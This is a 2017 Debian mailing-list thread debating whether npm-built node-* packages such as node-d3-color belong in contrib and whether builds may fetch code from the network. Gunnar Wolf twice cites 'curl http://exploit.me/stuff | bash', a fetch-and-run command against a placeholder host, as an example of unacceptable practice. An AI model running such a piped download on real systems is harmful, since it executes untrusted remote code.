Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-10-05 Thread Michael Stone 

On Thu, Oct 05, 2017 at 02:42:30PM +0200, Marco d'Itri wrote:

On Oct 03, Gunnar Wolf  wrote:


So, contrib is _explicitly_ meant for software that does not meet the
DFSG, not for random stuff that cannot be packaged for convenience or
different issues.

I am almost sure that when I joined the project contrib was also the
place for sub-standard packages.
While my memory could be faulty in some way since that was 20 years ago,
I know that my first package was first uploaded to contrib because of
technical reasons.


I vaguely remember that may have been true, but I also vaguely remember 
that there was a conscious decision that it was silly to distribute 
sub-standard packages...


Mike Stone


--
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-10-04 Thread Pirate Praveen 
On ബുധന്‍ 04 ഒക്ടോബര്‍ 2017 09:27 രാവിലെ, Sean Whitton wrote:
> This is not a fair response.
> 
> If your work involved fixing bugs in software that is already in the
> archive, you could quite fairly call others out for demanding changes,
> but not being willing to put in the effort.
> 
> In this case, others are objecting to you /adding/ something new to the
> archive, where this requires (what is in the view of some) a misuse of
> contrib.

I was only trying to show my record of trying to fix the issue the right
way and not just finding loop holes as some people imply. It is only
fair for me to ask people to take things in perspective.

I also wanted to emphasis some people just want see a solution as just
keep out these packages and I want to contrast my efforts.

We are a do-o-cratic collective and people who are doing the work really
have an edge in our collective.



signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-10-04 Thread Pirate Praveen 
On ചൊവ്വ 03 ഒക്ടോബര്‍ 2017 11:04 വൈകു, Gunnar Wolf wrote:
> I *do* take note, however, of:
> 
> Examples of packages which would be included in contrib are:
> 
> • free packages which require contrib, non-free packages or packages
>   which are not in our archive at all for compilation or execution,
>   and
> • wrapper packages or other sorts of free accessories for
>   non-free programs.
> 
> The first point would seem to cover your use case. However, it's not
> necessarily covering (...) compilation or execution via code just
> downloaded. It does not cover the equivalent of
> "curl http://exploit.me/stuff | bash"

Lets take the two issues separately.

1. Whether they are suitable for contrib
2. Whether network can be used during build.

> I would strongly prefer to ship pre-built binaries as part of your
> environment in debian/.
> 
> I guess the ftp-masters approved the packages you mention as they
> *looked* sane, but not because of a deeper inspection of how they were
> built. I see² you have 17 packages in contrib, out of which 14 are
> node-*. Do they all use npm? Would you appreciate if I took a look at
> them and filed bugs accordingly to ask for ftp-masters' opinion?

Like I noted in my previous mail, I already agreed to upload pre-built
binaries and my contention is only on point 1. You may ask ftp-masters
on suitability of them being in contrib even with pre-built binaries.

I have also explained in my previous mails that these are always built
on a maintainer's machine as buildds already prohibit network access
during build. So we are only talking about a change in perception.



signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-10-03 Thread Gunnar Wolf 
Pirate Praveen dijo [Tue, Oct 03, 2017 at 12:12:54PM +0530]:
> > I am completely with Sean here; I read the following messages, and am
> > happy a better resolution was found. But, FWIW, I'll support Sean's
> > interpretation - Contrib and non-free are *not* places where we can
> > happily breach any bits of policy; they are exclusively for things
> > that cannot be shipped in Debian Main due to their DFSG status.
> 
> I cannot accept arbitrary interpretations of policy. When build tools
> are not available in main, they cannot go to main, and if the software
> itself is Free Software, it can go to contrib. If you disagree, please
> get the policy clarified. As per the current policy, these packages
> clearly qualified for contrib and these were already accepted by ftp
> masters into the archive. You could go to CTTE and challenge the
> decision of ftp masters.

Let me quote the Debian Social Contract:

Works that do not meet our free software standards

We acknowledge that some of our users require the use of works that do
not conform to the Debian Free Software Guidelines. We have created
"contrib" and "non-free" areas in our archive for these
works. (...)

So, contrib is _explicitly_ meant for software that does not meet the
DFSG, not for random stuff that cannot be packaged for convenience or
different issues.

According to Policy, section 2:

Packages in the other archive areas (contrib, non-free) are not
considered to be part of the Debian distribution, although we
support their use and provide infrastructure for them (such as our
bug-tracking system and mailing lists). This Debian Policy Manual
applies to these packages as well.

Policy says that all packages in contrib and non-free should be policy
compliant. Further, in 2.2.2:

The contrib archive area contains supplemental packages intended
to work with the Debian distribution, but which require software
outside of the distribution to either build or function.

Every package in contrib must comply with the DFSG.

In addition, the packages in contrib

  • must not be so buggy that we refuse to support them, and
  • must meet all policy requirements presented in this manual.

For this section, yes, I will be making interpretation - But I hold
that we would be hard-pressed to provide support for something built
with a compiler downloaded at build time. Maybe, as Simon suggests, if
your debian/ includes hashes for the compiler version being
used (and everything it pulls in via npm)... But in that case, it's
probably better to include the tar.gz as part of your debian/

I *do* take note, however, of:

Examples of packages which would be included in contrib are:

• free packages which require contrib, non-free packages or packages
  which are not in our archive at all for compilation or execution,
  and
• wrapper packages or other sorts of free accessories for
  non-free programs.

The first point would seem to cover your use case. However, it's not
necessarily covering (...) compilation or execution via code just
downloaded. It does not cover the equivalent of
"curl http://exploit.me/stuff | bash"

> Alternatively, those who care enough about the issue can help get these
> tools into main. I have been doing just that over the last years (grunt,
> gulp, babel, jison, webpack to name a few, each with 100s of
> dependencies) so many of the packages currently in main could go there.
> Since the tools are just so many and the people packaging them are
> handful, it will take quite a while for all these tools to be in main
> and I'm going to continue using contrib for these packages until that time.
> 
> You can also check the record of people who are most vocal over the
> issue (not just in this thread, but in earlier discussions about
> handlebars/dfsg/browserify) and compare who is helping fix the issue and
> who is just talking.

In this case, I'm clearly in the group of those who are somewhat
vocal, and are not helping your efforts. Well, I did quite a bit of
effort in a related matter with the work I put into packaging Drupal8,
which I dropped in the end¹ precisely due to it not being cleanly
packagable for Debian.

¹ http://gwolf.org/node/4087

> > And, yes, network access during a build... Is a clear no-go. Specially
> > if as a project we are committed to this so neat Reproducible Builds
> > thingy that has made so many among us proud to be part a project where
> > an ages-long problem is finally being tackled - And quite
> > successfully, even!
> 
> I thought building these things (making sure the source corresponds to
> the distributed binaries), though using tools outside archive, was
> preferred over shipping pre-built binaries. But it seems shipping
> pre-built binaries are preferred. It looks to me like a misplaced
> compromise, but I will follow this advice and ship pre-built binaries
> next time without building them using npm.

I would strongly

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-10-03 Thread Pirate Praveen 
On ചൊവ്വ 03 ഒക്ടോബര്‍ 2017 10:10 രാവിലെ, Gunnar Wolf wrote:
> I am completely with Sean here; I read the following messages, and am
> happy a better resolution was found. But, FWIW, I'll support Sean's
> interpretation - Contrib and non-free are *not* places where we can
> happily breach any bits of policy; they are exclusively for things
> that cannot be shipped in Debian Main due to their DFSG status.

I cannot accept arbitrary interpretations of policy. When build tools
are not available in main, they cannot go to main, and if the software
itself is Free Software, it can go to contrib. If you disagree, please
get the policy clarified. As per the current policy, these packages
clearly qualified for contrib and these were already accepted by ftp
masters into the archive. You could go to CTTE and challenge the
decision of ftp masters.

Alternatively, those who care enough about the issue can help get these
tools into main. I have been doing just that over the last years (grunt,
gulp, babel, jison, webpack to name a few, each with 100s of
dependencies) so many of the packages currently in main could go there.
Since the tools are just so many and the people packaging them are
handful, it will take quite a while for all these tools to be in main
and I'm going to continue using contrib for these packages until that time.

You can also check the record of people who are most vocal over the
issue (not just in this thread, but in earlier discussions about
handlebars/dfsg/browserify) and compare who is helping fix the issue and
who is just talking.

> And, yes, network access during a build... Is a clear no-go. Specially
> if as a project we are committed to this so neat Reproducible Builds
> thingy that has made so many among us proud to be part a project where
> an ages-long problem is finally being tackled - And quite
> successfully, even!
> 

I thought building these things (making sure the source corresponds to
the distributed binaries), though using tools outside archive, was
preferred over shipping pre-built binaries. But it seems shipping
pre-built binaries are preferred. It looks to me like a misplaced
compromise, but I will follow this advice and ship pre-built binaries
next time without building them using npm.



signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-10-02 Thread Gunnar Wolf 
Sean Whitton dijo [Sat, Sep 30, 2017 at 12:10:54PM -0700]:
> > The whole purpose of having contrib and non-free is to host packages
> > that can't be in main, either permanently or temporarily. I fail to
> > see how it is against the spirit.
> 
> To my mind, at least, the purpose of contrib and non-free is for
> packages that can't be in main for DFSG reasons /alone/.  Social
> Contract item 5:
> 
> We acknowledge that some of our users require the use of works that
> do not conform to the Debian Free Software Guidelines.  We have
> created "contrib" and "non-free" areas in our archive for these
> works.
> (...)
> I am still very uneasy about serving our users -- even our users of
> Debian unstable -- with packages that are built using material pulled
> from the net.  I think that people who add 'contrib' to their
> sources.list do not expect this kind of thing.

I am completely with Sean here; I read the following messages, and am
happy a better resolution was found. But, FWIW, I'll support Sean's
interpretation - Contrib and non-free are *not* places where we can
happily breach any bits of policy; they are exclusively for things
that cannot be shipped in Debian Main due to their DFSG status.

And, yes, network access during a build... Is a clear no-go. Specially
if as a project we are committed to this so neat Reproducible Builds
thingy that has made so many among us proud to be part a project where
an ages-long problem is finally being tackled - And quite
successfully, even!

-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-10-01 Thread Pirate Praveen 
On ഞായര്‍ 01 ഒക്ടോബര്‍ 2017 01:21 രാവിലെ, Sean Whitton wrote:
> Hello,
> 
> On Sat, Sep 30 2017, Christian Seiler wrote:
> 
>> Ack. Wouldn't it be preferable to just include a copy of the prebuilt
>> node-d3-color "binary" alongside its actual source tarball and have
>> debian/rules just copy the prebuilt "binary" for now? That would
>> fulfill one of the widely accepted use cases for contrib (needs
>> something currently not in Debian to build, but is otherwise free
>> software - see e.g. the VirtualBox BIOS requiring a non-free compiler)
>> much closer than downloading stuff from the network.
> 
> This does seem preferable to the current situation.
> 

I just discovered a better way. I can use babel (which is on its way to
main, currently in NEW) instead of rollup and node-d3-color can go to main.

rollup has transpile+bundling features. In this case, we can replace the
transpile feature with babel. gitlab uses webpack anyway for bundling
(hence we don't need rollup for bundling in this case).



signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-09-30 Thread Christian Seiler 
On 09/30/2017 09:10 PM, Sean Whitton wrote:
> On Sun, Oct 01 2017, Pirate Praveen wrote:
>> Packaging of rollup is stuck [1] and I can make progress with gitlab
>> package with node-d3-color in contrib. Quite a lot of work can happen
>> even with gitlab in contrib, like making sure everything is configured
>> correctly, making sure update from previous version is working, people
>> can test and report bugs while we are working on getting all
>> dependencies in main etc. If I simply wait for rollup to arrive in
>> main, I can't do any of those.
> 
> Okay, I see how this would be useful -- thanks for the explanation.
> 
> I am still very uneasy about serving our users -- even our users of
> Debian unstable -- with packages that are built using material pulled
> from the net.  I think that people who add 'contrib' to their
> sources.list do not expect this kind of thing.

Ack. Wouldn't it be preferable to just include a copy of the prebuilt
node-d3-color "binary" alongside its actual source tarball and have
debian/rules just copy the prebuilt "binary" for now? That would
fulfill one of the widely accepted use cases for contrib (needs
something currently not in Debian to build, but is otherwise free
software - see e.g. the VirtualBox BIOS requiring a non-free
compiler) much closer than downloading stuff from the network.

I think that requiring network access during build is a big no-no in
general, regardless of where the software is sorted into. For
example it fails the dissident test. And it ensures that that what's
in the Debian source package is that what you actually get in the
end, not subject to the whim of server operators outside of Debian
during build time (which may be at any point as there are binNMUs).

Regards,
Christian

-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-09-30 Thread Pirate Praveen 
On 09/30/2017 09:26 PM, Sean Whitton wrote:
> To my mind, this complies with the letter of Policy but not its spirit.

The whole purpose of having contrib and non-free is to host packages
that can't be in main, either permanently or temporarily. I fail to see
how it is against the spirit.

> Could you explain why it is so urgent to have node-d3-color in Debian
> that it can't wait on rollup arriving in main?
> 

This is in dependency chain of gitlab
https://wiki.debian.org/Javascript/Nodejs/Tasks/gitlab

Packaging of rollup is stuck [1] and I can make progress with gitlab
package with node-d3-color in contrib. Quite a lot of work can happen
even with gitlab in contrib, like making sure everything is configured
correctly, making sure update from previous version is working, people
can test and report bugs while we are working on getting all
dependencies in main etc. If I simply wait for rollup to arrive in main,
I can't do any of those.

It is much easier to move a package from contrib to main than start
packaging from scratch after rollup is in main. I have been able to move
many packages to main, which needed babel, using this same strategy.

[1] It needs someone to port acorn-object-spread to acorn 5
https://github.com/UXtemple/acorn-object-spread/issues/5



signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-09-30 Thread Bastien Roucaries 


Le 29 septembre 2017 19:34:24 GMT+02:00, "Jérémy Lal"  a 
écrit :
>2017-09-29 19:24 GMT+02:00 Andreas Beckmann :
>
>> Package: node-d3-color
>> Version: 1.0.3-1
>> Severity: serious
>> Justification: Build-Depends not satisfiable in testing
>> Control: block -1 with 857986
>> Control: clone -1 -2 -3 -4 -5 -6 -7 -8 -9 -10
>> Control: reassign -2 node-d3-format 1.2.0-1
>> Control: retitle -2 node-d3-format: B-D npm not available in testing
>> Control: block -2 with 857986
>> Control: reassign -3 node-d3-queue 3.0.7-1
>> Control: retitle -3 node-d3-queue: B-D npm not available in testing
>> Control: block -3 with 857986
>> Control: reassign -4 node-d3-selection 1.1.0-1
>> Control: retitle -4 node-d3-selection: B-D npm not available in
>testing
>> Control: block -4 with 857986
>> Control: reassign -5 d3-timer 1.0.7-1
>> Control: retitle -5 d3-timer: B-D npm not available in testing
>> Control: block -5 with 857986
>> Control: reassign -6  node-filesize 3.5.10+dfsg-1
>> Control: retitle -6 node-filesize: B-D npm not available in testing
>> Control: block -6 with 857986
>> Control: reassign -7 node-gulp-babel 7.0.0-1
>> Control: retitle -7 node-gulp-babel: B-D npm not available in testing
>> Control: block -7 with 857986
>> Control: reassign -8 node-babel-plugin-transform-define 1.3.0-1
>> Control: retitle -8 node-babel-plugin-transform-define: B-D npm not
>> available in testing
>> Control: block -8 with 857986
>> Control: reassign -9 node-babel 6.25.0+dfsg-8
>> Control: retitle -9 node-babel: B-D npm not available in testing
>> Control: block -9 with 857986
>> Control: reassign -10 node-babylon 6.18.0-1
>> Control: retitle -10 node-babylon: B-D npm not available in testing
>> Control: block -10 with 857986
>>
>>
>> Hi,
>>
>> with npm not available in testing (and according to #857986 this will
>> not change in the near future), these node-* packages must be kept
>> out of testing, since they cannot be rebuilt in testing (regardless
>of
>> any external resources they might need additionally).
>>
>
>Build-Depending on npm is a sign something very wrong, policy-breaking,
>is happening, like downloading a npm module during build.
>
>An example of how wrong the problem is:
>```
>override_dh_auto_build:
>  npm install rollup
>```
>
>ouch
>
>I cc-ed everyone to make sure this doesn't happen again.

Please fill a lintian bug
>
>Jérémy

-- 
Envoyé de mon appareil Android avec K-9 Mail. Veuillez excuser ma brièveté.

-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-09-30 Thread Pirate Praveen 
On വെള്ളി 29 സെപ്റ്റംബര്‍ 2017 11:04 വൈകു, Jérémy Lal wrote:
> 
> Build-Depending on npm is a sign something very wrong, policy-breaking,
> is happening, like downloading a npm module during build.

Hence this is in contrib and not main (hence complying with policy), and
this is a temporary step until we get rollup in main.

Examples of packages which would be included in contrib are:

free packages which require contrib, non-free packages or packages
which are not in our archive at all for compilation or execution, and

https://www.debian.org/doc/debian-policy/ch-archive.html#s-contrib



signature.asc
Description: OpenPGP digital signature
-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel

[Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

2017-09-29 Thread Andreas Beckmann 
Package: node-d3-color
Version: 1.0.3-1
Severity: serious
Justification: Build-Depends not satisfiable in testing
Control: block -1 with 857986
Control: clone -1 -2 -3 -4 -5 -6 -7 -8 -9 -10
Control: reassign -2 node-d3-format 1.2.0-1
Control: retitle -2 node-d3-format: B-D npm not available in testing
Control: block -2 with 857986
Control: reassign -3 node-d3-queue 3.0.7-1
Control: retitle -3 node-d3-queue: B-D npm not available in testing
Control: block -3 with 857986
Control: reassign -4 node-d3-selection 1.1.0-1
Control: retitle -4 node-d3-selection: B-D npm not available in testing
Control: block -4 with 857986
Control: reassign -5 d3-timer 1.0.7-1
Control: retitle -5 d3-timer: B-D npm not available in testing
Control: block -5 with 857986
Control: reassign -6  node-filesize 3.5.10+dfsg-1
Control: retitle -6 node-filesize: B-D npm not available in testing
Control: block -6 with 857986
Control: reassign -7 node-gulp-babel 7.0.0-1
Control: retitle -7 node-gulp-babel: B-D npm not available in testing
Control: block -7 with 857986
Control: reassign -8 node-babel-plugin-transform-define 1.3.0-1
Control: retitle -8 node-babel-plugin-transform-define: B-D npm not available 
in testing
Control: block -8 with 857986
Control: reassign -9 node-babel 6.25.0+dfsg-8
Control: retitle -9 node-babel: B-D npm not available in testing
Control: block -9 with 857986
Control: reassign -10 node-babylon 6.18.0-1
Control: retitle -10 node-babylon: B-D npm not available in testing
Control: block -10 with 857986


Hi,

with npm not available in testing (and according to #857986 this will
not change in the near future), these node-* packages must be kept
out of testing, since they cannot be rebuilt in testing (regardless of
any external resources they might need additionally).


Andreas

-- 
Pkg-javascript-devel mailing list
Pkg-javascript-devel@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel